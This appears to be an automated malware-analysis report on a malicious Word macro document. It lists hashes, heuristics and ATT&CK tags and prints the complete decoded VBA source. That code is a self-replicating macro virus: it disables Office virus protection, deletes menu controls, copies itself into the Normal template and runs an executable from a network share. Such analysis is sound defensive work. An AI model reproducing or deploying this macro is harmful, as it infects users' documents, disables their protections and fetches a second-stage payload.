Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd1e3d15de5c909f…

MALICIOUS

Office (OLE)

2.86 MB Created: 2018-02-13 01:24:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 6bb9b8b1023f5471d1b9fd1ea90e924f SHA-1: dbde402f8c7c9a2cddafc7b01b0b433cd8557294 SHA-256: fd1e3d15de5c909f19c8260cc3ece4de051331a04ee0eed300a17236e12f7ffd
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is present and a 'Shell()' call is detected, indicating an attempt to execute external code. The script attempts to execute '\\jdq\cc$\b.exe', suggesting it acts as a downloader or dropper for a second-stage payload. The macro also attempts to modify the Normal.dot template, which could be for persistence.

Heuristics 7

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Macro.DeleteMacro-6096859-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DeleteMacro-6096859-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("\\jdq\cc$\b.exe")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3455 bytes
SHA-256: b7aed78df7a69bf331b2cb0537d8e47fad5d255e38cc0c5760481dd0dec4bcdc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
    CommandBars("Macro").Controls(4).Delete
    CommandBars("Macro").Controls(3).Delete
    CommandBars("Macro").Controls(2).Delete
    CommandBars("Macro").Controls(1).Delete
    CommandBars("Tools").Controls(17).Delete
Shell ("\\jdq\cc$\b.exe")
If x3 = True Then
    x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
        x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
        x6.codemodule.AddFromString x11
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
     x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
     x5.codemodule.AddFromString x11
     If x1 = True Then ActiveDocument.Save
   End If
End If
End Sub
Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If


End Sub
Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If

End Sub

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